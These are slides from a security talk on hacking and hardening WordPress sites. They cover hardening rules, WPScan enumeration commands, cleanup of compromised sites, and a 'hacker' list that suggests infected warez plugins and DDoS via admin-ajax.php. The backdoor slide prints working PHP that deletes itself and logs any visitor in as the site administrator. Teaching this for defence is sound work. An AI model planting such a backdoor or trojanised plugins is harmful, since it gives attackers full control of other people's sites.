Daniele Scasciafratte - Italian Hacking Camp
#ihcamp

Hacking (and secure) a WordPress site!

How to sleep well and not cry in a corner

Created by Daniele Scasciafratte

Daniele Scasciafratte

  • Co Founder/CTO Codeat
  • Open Source Addicted
  • WordPress Core Contributor/Developer
  • Mozillian & Mozilla Reps & Mozilla TechSpeaker
  • Leading Core-Help in WordPress Italia
  • Industria Italiana Software Libero Vice Presidente

Who is an hacker?

Persona che si diverte ad esplorare i dettagli dei sistemi di programmazione e come espandere le loro capacità, a differenza di molti utenti, che preferiscono imparare solamente il minimo necessario.
Person who likes to explore the details of the technology systems and how to extend their skills, unlike many users, who prefer to learn only the minimum necessary.

Hackers are professionals

We are the Angela's of IT

Serious time!

An Hacker want to explain how he/she achieved the results to improve the technology but also itself and the others.

Let's start with culture time!

https://w3techs.com/technologies/details/cm-wordpress/all/all

First steps for a normal user

  • Password
  • Yes a difficult password
  • What do you think that an user need?

Often the bugs are in plugins

  • Missing sanitizations
  • Stuff for logged users available to non-logged
  • Non-standard
    • UI
    • Custom stuff that doesn't use WordPress framework
    • Reimplementation of already available WP features

Gold rules for an administrator

  • Block access to wp-admin
  • Block File browsing of web servers
  • Update always WordPress and plugins
    • Especially premium stuff from marketplaces
  • Block comments and other interactions for non-logged users
  • Check file permissions
  • Ban bots and IPs
  • Enable protection for brute force
  • Remove the user 1 (admin)
  • Block XML-RPC/REST API if you don't need

Gold rules for an hacker

  • Check version of plugins
  • Create infected warez version of premium plugins/themes
  • Invest a lot of time on admin-ajax.php
    • Generate DDOS
    • Actions for logged/non users
    • Missing nonces
  • Look for premium plugins not updated
  • Look around for XSS
  • Stress test

Tools time

Online tools

We are forgetting the real tools

WPScan

  • Enumerate plugins and also versions
    • If exploitable
    • Common misconfiguration
    • Other informations
  • Enumerate users
  • Brute force usernames
  • Request with a long timeout or with throttling
  • Random user agent
  • Multiple threads

The first commands to run


wpscan --url www.example.com
wpscan --url www.example.com --enumerate
					

Only 2 commands are enough to understand if the website is managed with a professional behaviour or not.

No other cli tools

Cool stuff

Backdoor


@unlink(__FILE__);

require('../../../wp-blog-header.php');
require('../../../wp-includes/pluggable.php');
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
    wp_clear_auth_cookie();
    wp_set_current_user ( $user->ID );
    wp_set_auth_cookie  ( $user->ID );

    $redirect_to = user_admin_url();
    wp_safe_redirect( $redirect_to );

    exit();
}
					

https://github.com/mattiasgeniar/php-exploit-scripts/blob/master/found_on_wordpress/backdoor_admin_access.php

Fix an hacked website

  • Download everything locally
  • Search for php files in wp-content/uploads/*.php
  • Search for files with strange dateo of last edit
  • Download a clean version of
    • WordPress
    • Every plugins
    • Every themes
  • Compare your clean/hacked version with a diff tool
    • Sometimes there are files renamed like class-ftp-inc.php
    • Sometimes there is obfuscated code prepend in few/all the files

Plugins suggested to improve the security

  • iThemes Security
  • Wordfence Security

Grazie!

- http://mte90.tech/Talk-Secure-WP